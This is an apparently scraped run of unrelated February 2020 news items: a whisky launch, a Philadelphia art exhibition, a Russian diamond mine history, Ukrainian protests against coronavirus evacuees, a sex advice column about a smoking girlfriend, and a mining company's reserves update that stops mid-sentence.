Jeremy Speirs, managing director EMEA travel retail, Edrington, said: "Highland Park continues to innovate and excite customers with its single cask range. This limited edition is available only at Heathrow, World of Whiskies." Fraser Brown, retail director at Heathrow, said: As the UKs only hub airport, Heathrow is always proud to showcase the best of Britain in our products. That is why we are so pleased to offer another fantastic example of Scottish produce and an exclusive experience for passengers with this limited-edition Highland Park Single Cask." Founded in 1798, Highland Park is Scotland's most northerly distillery and one of a handful left in the country which still hand-turns its floor maltings. 21 February 2020 - Bethany Whymark Detail from Laura Wheeler Waring's "The Study of a Student" (circa 1940s), from the Constance E. Clayton Collection. Read more The exhibition at the Pennsylvania Academy of the Fine Arts of more than 70 works by African American artists from the collection of Constance E. Clayton, which opens Friday and runs through July 12, has the aura of a family meal around the dinner table. These are works of art from her home. Clayton, who served as superintendent of Philadelphia schools from 1983 to 1993, the first African American woman to hold the post, donated the works to PAFA last year, and by doing so, she kept them in her hometown and cemented her desire to have these works of art seen by local people. I really thought that in my home nobody saw [the collection] except for people who came to visit me and my family, Clayton said recently. So I thought that it was important to share it so that the larger community would be able to see it and enjoy it and realize that African Americans had something special to contribute to culture. Brooke Davis Anderson, director of the PAFA museum, sees the collection as "a comprehensive collection of African American artists that was meant to be lived with. Henry Ossawa Tanner, Romare Bearden, Sam Gilliam, Augusta Savage, Dox Thrash, Laura Wheeler Waring, Charles White, and many others are all here and on view in the exhibition, Awakened in You: The Collection of Dr. Constance E. Clayton. Its domestic in scale, a reflection of Dr. Clayton," said Anderson. She and her mom lived with it. Its a collection of family, children, neighbors, people walking down the street, children playing on the stoop. One whole wall is portraits of children, almost all boys. Portraits of families and young people dominate the gift. One particular aspect adds to the domestic familiarity of Awakened in You. Many of the works are by Philadelphia artists, and many of those have ties to PAFA either as students or teachers. One instance of that involves the painter Louis Sloan, who taught at the academy for many years and was considered a beloved mentor by a large number of his students, including painter Barkley L. Hendricks, born in North Philadelphia and a graduate of Simon Gratz High School. The exhibition contains a number of Sloan landscapes and an exquisite undated charcoal portrait of a young boy by Hendricks. Rather than have wall labels describing the art-historical significance of the works, PAFA invited community members and relatives to write more personal reflections. So it is that Susan Hendricks, Barkley Hendricks widow, writes about Lou Sloans landscape After the Storm. (Sloan died in 2008 and Barkley Hendricks died in 2017.) Louis Sloan was Barkley L. Hendricks teacher first and then later his colleague. In Barkleys professional estimation, Sloan was also one of the best landscape painters ever to come through, and be a part of PAFA, Susan Hendricks writes, calling the artists two remarkable painters, Philly artists both. "I remember Barkley talking about Lou suiting up in his winter protective gear and going out into the harsh elements to paint the winter landscape outside the central Philadelphia environs, she writes. "Sloan was as devoted to the Philadelphia landscape near and around him as Barkley L. Hendricks was to his beloved tropical Jamaica. This kind of intimate, anecdotal description, the kind you might hear at dinner with friends and relatives, is a defining characteristic of the exhibition as a whole. You either know the works, know the artists, or have a friend who does. Clayton was drawn into collecting by Sadie Tanner Mossell Alexander, the first African American to receive a doctorate in economics in the U.S., the first woman to receive a law degree from Penn, and the first black woman to practice law in Pennsylvania. I often visited her in her home and her home was just filled with magnificent paintings because her uncle was Tanner, Henry Ossawa Tanner, said Clayton. I can distinctly remember seeing The Thankful Poor, The Banjo Lesson, and other paintings at her home. And I was just delighted with that and I was just excited by it and, and then of course, I found out that the Philadelphia Museum of Art was the first museum in the country to buy one of [Tanners] paintings. Clayton and her mother, Williabell Clayton, spent decades poking through art galleries and thrift stores, attending auctions and visiting studios, all in search of art. I really thought it was important, particularly as a teacher, because I also taught in a totally segregated elementary school," Clayton said. "The children were very interested in art, but they couldnt see anybody who looked like them or did any painting. "So when we went on trips to the art museum, I would always try to find the work in the art museum done by African American artists so they could understand that they too had people who had talent, interest, and creativity. Clayton allows that she has a special fondness for the work of Dox Thrash, the innovative painter and printmaker who lived on the 2300 block of whats now Cecil B. Moore Avenue. He died in 1965. I particularly liked Dox Thrash, she said. But I love all the artists. Theyre all favorites. Here is a group of artists who should be recognized, appreciated, and respected." ON EXHIBIT Awakened in You: The Collection of Dr. Constance E. Clayton Feb. 21-July 12 at the Pennsylvania Academy of the Fine Arts, 118-128 N. Broad St. Hours: 10 a.m.-5 p.m. Tues.-Fri., 11 a.m.-5 p.m. Sat. and Sun. (Closed Mon.) Admission: Adults, $15; seniors and students with I.D. $12; youth 13-18, $8 (children under 13 free). Information: 215-972-7600 or pafa.org Vladimir Grib Diamond Mine Image credit: AGD Diamonds Twenty-four years ago, on February 19, 1996, there occurred an event which later turned to be of key significance for the development of AGD DIAMONDS, JSC explorers found a kimberlite pipe, which later was named after Vladimir Grib, an outstanding geologist, who worked in Arkhangelsk. To perform targeted exploration for diamonds, the geological team working in the Arkhangelsk Province at that time developed a set of forecast-and-exploration methods and the Enterprise Work Program for 19922000 based on it. The geological service of PGO Arkhangelskgeology (now AGD DIAMONDS, JSC) identified the most promising area within the Verkhotinskoye Kimberlite Field and substantiated the feasibility of exploring this area for diamonds. Before commencing the licensed operations on the Verkhotinskoye Field, Arkhangelskgeology carried out a geological survey and a set of specialized prospecting works for diamonds, during which it verified 58 magnetic anomalies by drilling and discovered eight pipes of weak diamondiferous kimberlites. Based on the results of the analysis of geological and geophysical materials, it was decided to re-survey several previously covered areas, including Aeromagnetic Local Anomaly 441. In 1995, the geological team performed another series of ground magnetic surveys and cross-sectional electrical exploration on Anomaly 441. In the course of processing ground-based magnetic measurements using the sliding window method, geologists identified a low-contrast local anomaly with a deep-seated object. On February 19, 1996, they drilled a confirmatory well, No. 441/1, one hundred meters south of the magnetic epicenter of the anomaly and crossed sand-and-clay rock of brown color with small inclusions of tufogenic material at a depth of 69 meters, under the thickness of the Quaternary and Middle Carboniferous deposits. A sample taken from these rocks and then analyzed in the AGD DIAMONDS laboratory produced diamond satellite minerals and 20 small diamonds. Further drilling of this well yielded kimberlite tuffs, which clearly proved the discovery of a new diamondiferous pipe. In November 1996, the Verkhotinskoye Deposit was officially given the name of Vladimir Grib in honor of the former chief geologist of AGD DIAMONDS, who made a decisive contribution to the discovery of the Arkhangelsk diamondiferous province. Vladimir Grib passed away on December 25, 1995, less than two months before the discovery of this pipe. Detailed exploration of the diamond field in 2002-2004 was carried out by the Verkhotinskaya Exploration Team. The main task was to study the middle and deep levels of the diamond field. According to the exploration results obtained in 2005, the State Reserves Committee of the Russian Federation approved diamond reserves to a depth of 1,010 m. Thus, the diamond pipe named after Vladimir Grib officially received the status of an industrial diamond field. It should be recalled that the commissioning of the Grib Mining and Processing Division took place in June 2014. The Grib Mine, which is being successfully developed by AGD DIAMONDS, is the fourth largest diamond field in Russia and the seventh in the world in terms of reserves. And it is the largest diamond asset on the planet commissioned in the last ten years. Clashes break out as residents fearful of catching coronavirus target bus bound for site of quarantine. Ukraines effort to quarantine more than 70 people evacuated from China over the new virus outbreak has plunged into chaos, as residents opposing the move hurled stones at the evacuees and clashed with police. Officials deplored Thursdays violence and the countrys health minister pledged to share evacuees quarantine for two weeks in a bid to reassure protesters who fear they could be infected. Buses carrying evacuees were finally able to reach the designated place of quarantine after hours of clashes. The masked evacuees, exhausted by the long journey, were peeking through bus windows as they drove slowly under a heavy police escort. Stones shattered a window in one of the buses but the evacuees appeared unhurt. Since the early morning, several hundred residents of the village of Novi Sanzhary in Ukraines central Poltava region had cut off the road to a sanitarium intended to host the evacuees, fearing they could become infected. Demonstrators, some of whom appeared drunk, put up road blocks, burned tyres and clashed with riot police who moved to clear access. One protester tried to ram police lines with his car. Nine police officers and one civilian were hospitalised, the regional police said in a statement. Ukrainian police said 24 protesters were detained. Interior Minister Arsen Avakov, who personally visited the site to try to calm the crowd, said he was shocked by the aggression. What we saw was shameful, he said in televised remarks. It was one of the biggest disappointments in my life. Ukrainian President Volodymyr Zelenskyy weighed in, saying the protests showed not the best side of our character. He tried to reassure people that the quarantined evacuees would not pose any danger to residents. In a statement published on his Facebook page, Zelenskyy said the people evacuated from China were healthy and would live in a closed medical centre run by the National Guard in the village as a precaution. In the next two weeks it will probably be the most-guarded facility in the country, Zelenskyy said. Ukraines health minister, Zoryana Skaletska, said she would join the evacuees in quarantine for two weeks to help assuage villagers concerns. She urged residents to show sympathy and support for the evacuees and emphasised that the quarantine facility fully conformed with international standards. I was shocked by the panic, rejection, negative feelings and aggression, she said. It was even a greater shock for the people who were evacuated from China. But municipal legislators in the village vowed to continue opposing the evacuation, saying that the sanitariums sewage system was linked to the one in the village and ended up in a nearby wastewater facility. We cant allow putting the health and life of local residents at risk, and demand that top officials take urgent moves to prevent people from China from being put here, they said in a statement. Amid the clashes between residents and police, Ukraines Prime Minister Oleksiy Honcharuk said he would immediately fly to the site to personally oversee things. How to Do It is Slates sex advice column. Have a question? Send it to Stoya and Rich here. Its anonymous! Every Thursday night, the crew responds to a bonus question in chat form. Dear How to Do It, My girlfriend of a few months is a light smoker (a couple of cigarettes a day), while Im very sensitive to the smell of tobacco. Generally, this isnt a big issue: Shes incredibly thoughtful and doesnt smoke around me, and even makes sure to wash her hair and change her clothes before we meet up. But I swear that when I go down on herwhich I love to doI can taste the tobacco. Sometimes its almost unnoticeable, other times its like Im licking an ashtray. I havent told her about this, and Im well aware that it might be my imagination, in which case Ill just have to get over it. Is it my imagination, though? Can the taste of tobacco be carried through the body? If so, is there anything I can ask her to do, short of giving up smoking completely, to counteract it? Maybe some kind of food or drink that will help flush the tobacco from her body? And how do I approach the subject with her? Obviously, I dont want to hurt her feelings, but on the other hand, if there was something about the taste of my semen that she found offensive, Id want to change it if I could. Advertisement Advertisement Advertisement Advertisement Secondhand Smoke Get How to Do It in Your Inbox The latest sex advice from Stoya and Rich, plus letter follow-ups, delivered weekly. We encountered an issue signing you up. Please try again. Please enable javascript to use form. Email address: Send me updates about Slate special offers. By signing up, you agree to our Privacy Policy and Terms Sign Up Thanks for signing up! You can manage your newsletter subscriptions at any time. Stoya: Everybody brace for me to take things personally on this one. Rich: Im strapped in tight. Stoya: YOURE DATING A SMOKER. Rich: lololol Stoya: She was a smoker when you started dating her. The letter writer inquires what the girlfriend can do short of giving up smoking completely, and I hope they stop there: Its unreasonable to ask her to give up smoking completely. Im offended on behalf of all nicotine users if thats even on the table. Rich: Where theres smoke theres the smell of smoke. Stoya: Now that Ive vented, lets talk about flavored lube. Rich: I have zero experience with flavored lube. I didnt even really know that it was anything but a novelty product. You find it useful? Advertisement Advertisement Stoya: Im thinking of a particular guy early in my sexual adventures who tasted a bit funky. So I covered his dick in flavored lip gloss. I imagine that a lubricant engineered for sexual use would be an improvement. Not to mention safer for use with condoms should things become penetrative. Rich: Yeah, I think improvement is the most that can be expected here. This is not an easy thing to fix all together if her smoking persists, which it sounds like it will. I did research. Advertisement Stoya: Im thrilled. Whatd you turn up? Rich: First, a word on sweat glands. We have two types: eccrine, which cover most of our body and open directly to the skin, and apocrine, which open into hair follicles and are localized in areas that are densely hairy, such as the crotch. Nicotine is emitted by sweat glands, and a higher concentration is found in the apocrine, according to this study. Our writer suspects that this may be in his head, but it is possible that theyre smelling or tasting the nicotine coming out of her body and associating that with a tobacco flavor. (Nicotine is apparently pretty bitter.) And if thats the case, it seems that the only way for it to cease is for the smoking to cease. The practical remedies are bound to be imperfect workarounds, like flavored lube, as you suggested. Advertisement Advertisement Advertisement Stoya: Or a not-too-strong mint in his mouth! (Mint can cause a burning sensation on delicate vulvar tissue. Some find this a plus, and others do not.) Rich: I think other stuff that could help in this matterbreathable underwear, pube shaving, even being careful to use antibacterial soap or sensitive detergentsbut that puts a lot of responsibility on her, which doesnt strike me as fair. Advertisement Advertisement Stoya: Agreed. Im reacting strongly to what seems like a series of inquiries about how she can change to accommodate our writer. And I am focusing pretty hard on things they can try for themselves. I do think it would be permissible to gift her a vape. Rich: Well, heres the thingthe body-odor stuff might have mostly to do with nicotine, but it would be an interesting arm-chair experiment to see if her taste changes from cig to vape. So maybe do that and submit your data to us? Advertisement Advertisement Stoya: But if she smokes once or twice a day, she might not need the nicotine. Rich: Oh, are there nicotine-free vapes? In the words of Judge Judy: You picked her! Stoya: So many. Stepping down to 0 percent vape fluid is a key part of many modern smokers quit plans. Rich: I also think that they can have a conversation with her without it being necessarily fraught. She knows our writer doesnt like smoking. Its potentially scientific that they can taste it on her. The ball is her court to determine what, if anything, she wants to do about it. And the answer could be: nothing. And the writer would have to accept it. Advertisement Stoya: Shes already catering to them by washing her hair and changing clothes before meeting up with them. Shes already meeting them halfway. Any conversation about further habit change should start with acknowledging how much shes done to accommodate them. Advertisement Advertisement Rich: And the writer should also acknowledge that this relationship is their choice. Stoya: Which, in fairness, they do to a certain extent. Rich: But if smoking is a deal breaker dont date a smoker. At least its still early. Theyve only been together for a few months. In the words of Judge Judy: You picked her! Stoya: If she hid the smoking. thats one thing. But that isnt specified, so Im assuming she was upfront about it. Once our writer has tried everything they can do on their end, they might consider broaching the subject from a Fun fact! starting point. Rich: Fun fact! This approach may provide the levity needed to keep the conversation from becoming an argument. More How to Do It In high school, my younger sister Eva got very intensely into a conservative church, purity pledges and all. My brother Josh and I never did. Eva remained very involved in her church, and three months ago, at 22, she married her similarly devout husband. Recently, Josh informed me that our brother-in-law confessed to him (over too much to drink) that he and Eva hadnt consummated the marriage despite multiple attempts together. My BIL said it was also his first time and he felt pretty lost. I feel terrible for them! Im trying to figure out if I can say something to Eva: Do I give her an adult version of The Talk? Slide a pamphlet in her purse and run away? I have no idea where to start, because I doubt shed approve of my unmarried sex life. TORONTO, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Mandalay Resources Corporation ("Mandalay" or the "Company") (TSX: MND, OTCQB: MNDJF) is pleased to announce updated Mineral Resources and Reserves numbers estimates for its Costerfield gold-antimony mine in Australia and its Bjorkdal gold mine in Sweden as at December 31, 2019. All dollar amounts in this press release are in U.S. dollars, unless otherwise noted. Highlights Costerfield Net of depletion for production in 2019, Proven and Probable Mineral Reserves for contained gold and antimony increased by 13% and 3%, respectively; Site maintains minimum 3-year mine life for the eighth year in a row; and Majority of Mineral Reserves increase was a result of Resource conversion drilling and upgrade of the Youle vein. Bjorkdal Net of depletion for production in 2019, Bjorkdal underground Proven and Probable Mineral Reserves for contained gold increased slightly; Site maintains a 10-year mine life; and Exploration costs of adding to Mineral Reserves was approximately $27 per ounce of gold. Dominic Duffy, President and CEO of Mandalay, commented, Mandalays Proven and Probable Mineral Reserves as of December 31, 2019, totaled 816,000 ounces of gold and 17,800 tonnes of antimony, compared to 824,000 ounces of gold and 17,200 tonnes of antimony at year-end 2018. Mr. Duffy added, At Costerfield, we were pleased to increase Mineral Reserves net of depletion for production in 2019 as contained gold and antimony increased by 13% and 3%, respectively. By year-end 2019, the site exploration team had completed 6.8 kilometres of diamond drilling to test the extensions of the Youle ore body, and 2.8 kilometres of diamond drill core was drilled from the Costerfield Deeps project. Detailed grade control drilling as well as face sampling increased the confidence in grade continuity of the upper section of Youle. This allowed for the conversion of Inferred Resources into Indicated Resources, as well as a 16% increase in gold grade for the Measured and Indicated areas of the Youle deposit. Mr. Duffy added, A small net reduction in Mineral Reserves from 2019 depletion was experienced at Bjorkdal, predominantly from a 35,000 ounces of gold reduction from the open pit. This can be attributable to a shift in strategy with resources directed towards infill-drilling of the underground Aurora deposit, and the pausing of open pit mining during July 2019. Excluding the open pit reduction, Bjorkdal increased its underground Reserves by 5,000 ounces of gold net of 2019 depletion. During 2019, the underground operations completed 5,621 metres of on-vein development, which was mapped and sampled in accordance with our grade control protocols. Overall, a total of 26,800 ounces of gold were added to Reserves at a cost of $0.7 million which equates to $27 per ounce of gold added. Mr. Duffy concluded, Exploration successes achieved during 2019 allowed Costerfield to grow its Mineral Reserves through further Resource conversion at Youle, and for Bjorkdal to preserve its 10-year mine life. Over the last two years, our Mineral Reserves have remained relatively unchanged net of depletion, but we have grown our Mineral Resources, underpinning the strength of our core assets. Looking forward to 2020, Costerfields exploration program will continue on the Youle vein, drilling will commence at the near-mine exploration targets of: Damper Gully, True Blue, Robinsons and Browns, and the deep hole program will continue during 2020. Lastly, at Bjorkdal, its exploration program will continue with its four priorities: depth extensions in Aurora; up-dip drilling of Aurora from surface; north of Aurora zone; and the high-grade skarn deposit. Table 1: Mineral Reserves as of December 31, 2019 and 2018 2019 2018 Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Proven 37 292 5.4 22 292 3.1 Probable 779 7,511 12.4 802 7,511 14.2 Proven + Probable 816 7,803 17.8 824 7,803 17.2 Notes: Reserves are contained at Bjorkdal, Costerfield and Cerro Bayo properties only. See tables 4 and 6 for details of Proven and Probable Reserve tonnages and grades at each property, including cut-off grades and Qualified Persons. Mineral Reserves have not been estimated for Challacollo. Totals may appear different from the sum of their components due to rounding. Table 2: Mineral Resources, Inclusive of Mineral Reserves, as of December 31, 2019 and 2018 2019 Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Contained Cu (klbs) Measured 90 421 12.7 - Indicated 1,465 39,871 24.0 459,000 Measured + Indicated 1,555 40,292 36.7 459,000 Inferred 477 10,255 9.0 13,000 2018 Contained Au (koz) Contained Ag (koz) Contained Sb (kt) Contained Cu (klbs) Measured 70 421 9.8 - Indicated 1,415 39,871 31.0 459,000 Measured + Indicated 1,487 40,292 40.8 459,000 Inferred 457 10,255 9.5 13,000 Notes: See tables 3 and 5 for details of tonnages and grades at each property. Totals may appear different from the sum of their components due to rounding. Details of the Mineral Resources and Reserves estimates at each property are set out below. Estimates were prepared or verified by the following independent third parties: Roscoe Postle Associates Inc. (RPA), now part of SLR Consulting Ltd. (SLR), at Bjorkdal; and SRK Consulting (Australasia) Pty Ltd. (SRK) at Costerfield. The year-end 2019 estimates of Mineral Resources and Reserves for the Costerfield and Bjorkdal will be fully documented in independent Technical Reports prepared in accordance with National Instrument 43-101 (NI 43-101) to be filed on www.sedar.com and the Mandalay website www.mandalayresources.com within 45 days of this press release. Mineral Resources and Reserves were estimated at Cerro Bayo by depleting the year-end 2016 estimates (verified by RPA and press released on February 23, 2017) to account for production through the operating suspension on June 9, 2017. The estimate of Mineral Resources at the Challacollo project has not changed from 2014. For more details, please refer to the technical reports prepared in accordance with NI 43-101 filed on www.sedar.com and the Mandalay website www.mandalayresources.com Table 3: Mineral Resources at Costerfield, Inclusive of Mineral Reserves, as of December 31, 2019 and December 1, 2018 2019 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Measured 283 9.6 4.5 87 12.7 Indicated 830 9.6 2.9 256 24.0 Measured + Indicated 1,113 9.6 3.3 344 36.7 Inferred 533 6.8 1.7 117 9.0 2018 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Measured 245 8.5 4.0 67 9.8 Indicated 1,073 8.2 2.9 283 31.0 Measured + Indicated 1,319 8.3 3.1 351 40.8 Inferred 497 8.0 1.9 128 9.5 Notes: Mineral Resources estimated as of December 31, 2019, with depletion through to this date. Mineral Resources stated according to CIM guidelines and include Mineral Reserves. Tonnes are rounded to the nearest thousand; contained gold (oz) rounded to the nearest thousand and contained antimony (t) rounded to the nearest hundred. Totals may appear different from the sum of their components due to rounding. A 3.5 g/t Au Equivalent (AuEq) cut-off grade over a minimum mining width of 1.2 m is applied where AuEq is calculated at a gold price of USD1,500/oz, antimony price of USD10,000/t. The Au Equivalent value (AuEq) is calculated using the formula: AuEq = Au g/t + 1.52 * Sb % Geological modelling and sample compositing was performed by Mandalay Resources and Cael Gniel MAIG, full time employee of Mining Plus. The models were independently verified by Danny Kentwell FAusIMM, full time employee of SRK Consulting. The Mineral Resource estimation was performed by Cael Gniel. The resource models were verified by Danny Kentwell. Danny Kentwell is the qualified person under NI 43-101 and is responsible for the Resource estimate. Since the last Resources and Reserves was estimated (December 1, 2018), Mandalay drilled a total of 9.5 kilometres (km) of diamond core at a cost of $1.76 million. Of this, 6.8 km of diamond drill core was dedicated to testing extension of the Youle ore body, and 2.8 km of diamond drill core was drilled from the Costerfield Deeps project. In addition, the Company completed 3,094 metres (m) of on-vein development with mine sampling predominantly on the Brunswick deposit, but also along the first mined drives of Youle. Drill core was logged and sampled by Costerfield geologists, who also performed mine sampling. All samples were sent to Onsite Laboratories in Bendigo, Victoria, Australia, for sample preparation and assay. Site geological and metallurgical personnel have implemented a QA/QC process that includes the regular submission of standard reference materials, duplicates and blanks with drill and face samples submitted for assay. Standard reference materials have been certified by Geostats Pty Ltd. A two-dimensional modelling method was undertaken for all models. Core and mine sampling data were entered into Datamine software and composited to true vein width. Gold accumulation, antimony accumulation and true vein width were estimated into a two-dimensional block model for each lode using ordinary kriging and inverse distance where the density of data was insufficient for ordinary kriging. Gold and antimony vein grades were back calculated using estimated accumulated data and true vein width. Where vein true widths are less than 1.2 m, vein grades were diluted to a minimum mining width of 1.2 m using dilution grades of zero g/t gold and zero percent antimony. Grades where vein true widths are greater than 1.2 m were not diluted. Mineral Resources were estimated at a cut-off grade of 3.5 g/t Au equivalent (AuEq) grade (using $1,500/oz Au and $10,000/t Sb), AuEq is calculated using the formula AuEq= Au + (Sb x 1.52) where Sb is in % and Au is in grams per tonne based on 1.2 m diluted grades. From the Mineral Resources, a mine plan was designed based only on Measured and Indicated Resource blocks using, predominantly, the cemented rock fill blast hole stoping method. A cut-off grade of 4.0 g/t AuEq and minimum stoping width of 1.5 m were used, with planned and unplanned dilution at zero grade. AuEq grade (using $1,300/oz Au and $7,000/t Sb), AuEq is calculated using the formula AuEq= Au + (Sb x 1.28) where Sb is in % and Au is in grams per tonne. Financial viability of Proven and Probable Mineral Reserves was demonstrated at metal prices of $1,300/oz Au and $7,000/t Sb. Table 4: Mineral Reserves at Costerfield as of December 31, 2019 and December 1, 2018 2019 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Proven 114 9.5 4.8 35 5.4 Probable 360 14.6 3.4 169 12.4 Proven + Probable 474 13.4 3.8 204 17.8 2018 Tonnes (kt) Au Grade (g/t) Sb Grade (%) Cont. Au (koz) Cont. Sb (kt) Proven 76 8.4 4.0 20 3.1 Probable 461 10.8 3.1 160 14.2 Proven + Probable 537 10.4 3.2 180 17.2 Notes: Mineral Reserve estimated as of December 31, 2019 Tonnes are rounded to the nearest thousand; contained gold (oz) rounded to the nearest thousand and contained antimony (t) rounded to the nearest hundred. Totals may appear different from the sum of their components due to rounding. Lodes have been diluted to a minimum mining width of 1.5 m for stoping and 1.8 m for ore development. A 4.0 g/t Au Equivalent (AuEq) cut-off grade is applied. Commodity prices applied are; gold price of $1,300/oz, antimony price of $7,000/t and exchange rate USD:AUD of 0.70. AuEq value is calculated using the formula: AuEq = Au g/t + 1.28 * Sb %. The Mineral Reserve is a subset, a Measured and Indicated only Schedule, of a Life of Mine Plan that includes mining of Measured and Indicated Resources. The Mineral Reserve estimate was prepared by Daniel Fitzpatrick and Dylan Goldhahn, AAusIMM who are full time employees of Mandalay Resources and was independently verified by Anne-Marie Ebbels, MAusIMM, CP (Mining) who is a full time employee of SRK Consulting who is a qualified person under NI 43-101. The net increase of 24,000 ounces of gold in Proven and Probable Reserves for 2019 relative to 2018 is the result of a total of 24,000 ounces of gold depleted from the 2018 Reserves, which has been positively offset by the addition of 48,000 ounces of gold added by Resource conversion and mining re-evaluation. The 600 tonnes of antimony net increase in Proven and Probable Reserves is the result of 3,800 tonnes of antimony depleted from the 2018 Reserves, offset by the 4,400 tonnes of antimony added by Resource conversion and mining re-evaluation. The majority of the increase (24,000 ounces of gold and 600 tonnes of antimony) is a result of Resource conversion drilling and upgrade of the Youle deposit. Table 5: Mineral Resources at Bjorkdal, Inclusive of Mineral Reserves, as of December 31, 2019 and 2018 2019 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Indicated Resources Underground 9,656 2.58 799 Open Pit 3,114 2.08 208 Norrberget Open Pit 144 3.29 15 Stockpile 2,644 0.64 54 Total Indicated 15,558 2.15 1,077 Inferred Resources Underground 2,143 2.36 163 Open Pit 3,338 1.30 139 Norrberget Open Pit 3 4.03 0.5 Stockpile - - - Total Inferred 5,483 1.71 302 2018 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Indicated Resources Underground 7,416 2.98 711 Open Pit 2,947 2.30 218 Norrberget Open Pit 144 3.29 15 Stockpile 2,700 0.64 56 Total Indicated 13,207 2.36 1,000 Inferred Resources Underground 1,922 2.63 162 Open Pit 2,516 1.32 107 Norrberget Open Pit 3 4.03 1 Stockpile - - - Total Inferred 4,441 1.89 271 Notes: Bjorkdal Mineral Resources are estimated using drill hole and sample data as of September 30, 2019 and depleted for production through December 31, 2019. Norrberget Mineral Resources are based on a data crystallization date of October 4, 2017. CIM definitions (2014) were followed for Mineral Resources. Mineral Resources are inclusive of Mineral Reserves. Mineral Resources are estimated using an average Au price of $1,500/oz. and an exchange rate of 9.0 SEK/US$. Bulk density is 2.74 t/m3 for veins and host rock. Bulk density is 2.92 t/m3 for skarn ore bodies. High gold assays were capped to 30 g/t Au for the open pit mine. High gold assays for the underground mine were capped at 60 g/t Au for the first search pass and 40 g/t Au for subsequent passes. High gold assays at Norrberget were capped at 24 g/t Au. Interpolation was by inverse distance cubed utilizing diamond drill, reverse circulation and chip channel samples. Open pit Mineral Resources are estimated at a cut-off grade of 0.34 g/t Au and constrained by the resource pit design. Underground Mineral Resources are estimated at a cut-off grade of 0.80 g/t Au. A nominal two metres minimum mining width was used to interpret veins using diamond drill, reverse circulation, and underground chip sampling. Reported Mineral Resources are exclusive of previously mined underground development and stopes. Stockpile Mineral Resources are estimated at a cut-off grade of 0.40 g/t Au and are based upon surveyed volumes supplemented by production data. Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability. Numbers may not add due to rounding. The Bjorkdal Mineral Resource estimate was prepared by Reno Pressacco, P.Geo., Principal Geologist with RPA, who is a Qualified Person as defined by NI 43-101. The Norrberget Mineral Resource estimate was prepared by Jack Lunnon, CGeol, Senior Geologist with RPA, who is a Qualified Person as defined by NI 43-101. During 2019, Mandalay drilled 8,057 m of diamond holes at Bjorkdal for a total expenditure of $0.7 million. In addition, underground operations completed 5,621 m of on-vein development, which was mapped and sampled in detail according to our grade control protocols. Table 6: Mineral Reserves at Bjorkdal as of December 31, 2019 and 2018 2019 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Probable Underground 5,410 2.10 365 Open Pit 2,875 1.23 114 Norrberget Open Pit 162 2.80 15 Stockpile 2,644 0.64 54 Total Probable 11,090 1.54 548 2018 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Probable Underground 4,754 2.36 360 Open Pit 3,768 1.23 149 Norrberget Open Pit 162 2.80 15 Stockpile 2,700 0.64 56 Total Probable 11,384 1.58 580 Notes: Bjorkdal Mineral Reserves are estimated using drill hole and sample data as of September 30, 2019 and depleted for production through December 31st, 2019. Norrberget Mineral Reserves are based on a data crystallization date of October 4, 2017. CIM definitions (2014) were followed for Mineral Reserves. Open Pit Mineral Reserves are based on mine designs carried out on an updated resource model, applying a block dilution of 100% at 0.0 g/t Au for blocks above 1.0 g/t and 100% at in-situ grade for blocks between 0.4 g/t and 1.0 g/t. The application of these block dilution factors is based on historical reconciliation data. A cut-off grade of 0.4 g/t Au was applied. Underground Mineral Reserves are based on mine designs carried out on an updated resource model. Minimum mining widths of 3.85 m for stopes (after dilution) and 4.35 m for development (after dilution) were used. Stope dilution was applied by adding 0.5 m on each side of stopes as well as an additional 10% over break dilution. An overall dilution factor of 14.5% was added to development designs. Mining extraction was assessed at 95% for contained ounces within stopes and 100% for development. A cut-off grade of 0.92 g/t Au was applied. An incremental cut-off grade of 0.4 g/t Au was used for development material. Stockpile Mineral Reserves are estimated at a cut-off grade of 0.40 g/t Au and are based upon surveyed volumes supplemented by production data. Mineral Reserves are estimated using an average long-term gold price of $1,300/oz, and an exchange rate of 9.0 SEK/US$. Tonnes and contained gold are rounded to the nearest thousand. Totals may appear different from the sum of their components due to rounding. The Bjorkdal Mineral Reserve estimate was prepared by Derek Holm, FSAIMM, Senior Mining Engineer with RPA, who is a Qualified Person as defined by NI 43-101. The net decrease 32,200 ounces of gold in Probable Reserves for 2019 relative to 2018 included mining depletion of 59,000 ounces of gold during 2019. Therefore, a total of 26,800 ounces of gold were added to reserves for the 2019 exploration spend of $0.7 million reported above. The exploration cost of adding those Reserves was $27 per ounce of gold. Qualified Persons: All Qualified Persons listed below have read and approved the contents of this news release as it pertains to the Mineral Resource and Mineral Reserve estimates disclosed in this news release. For Costerfield: The Mineral Resource estimate was carried out under the supervision of Danny Kentwell, FAusIMM, an employee of SRK Consulting and independent of Mandalay. He is a Qualified Person for the purpose of National Instrument 43-101. The Mineral Reserve estimate was carried out under the supervision of Anne-Marie Ebbels, MAusIMM CP(Mining), an employee of SRK Consulting and independent of Mandalay. She is a Qualified Person for the purposes of NI 43-101. For Bjorkdal: The Mineral Resource estimate was carried out under the supervision of Reno Pressacco, P.Geo., Principal Geologist and an employee of RPA and independent of Mandalay. He is a Qualified Person for the purpose of National Instrument 43-101. The Mineral Reserve estimate was carried out under the supervision of Derek Holm, FSAIMM, Senior Mining Engineer and an employee of RPA and independent of Mandalay. He is a Qualified Person for the purposes of NI 43-101. For Norrberget: The Mineral Resource Estimate was carried out under the supervision of Jack Lunnon, CGeol, Senior Geologist and an employee of RPA and independent of Mandalay. He is a Qualified Person for the purpose of National Instrument 43-101. The Mineral Reserve estimate was carried out under the supervision of David Smith, CEng., FIMMM, Principal Mining Engineer and an employee of RPA and independent of Mandalay. He is a Qualified Persons for the purposes of NI 43-101. For Further Information: Dominic Duffy President and Chief Executive Officer Edison Nguyen Manager, Analytics and Investor Relations About Mandalay Resources Corporation: Mandalay Resources is a Canadian-based natural resource company with producing assets in Australia and Sweden, and care and maintenance and development projects in Chile. The Company is focused on executing a roll-up strategy, creating critical mass by aggregating advanced or in production gold, copper, silver and 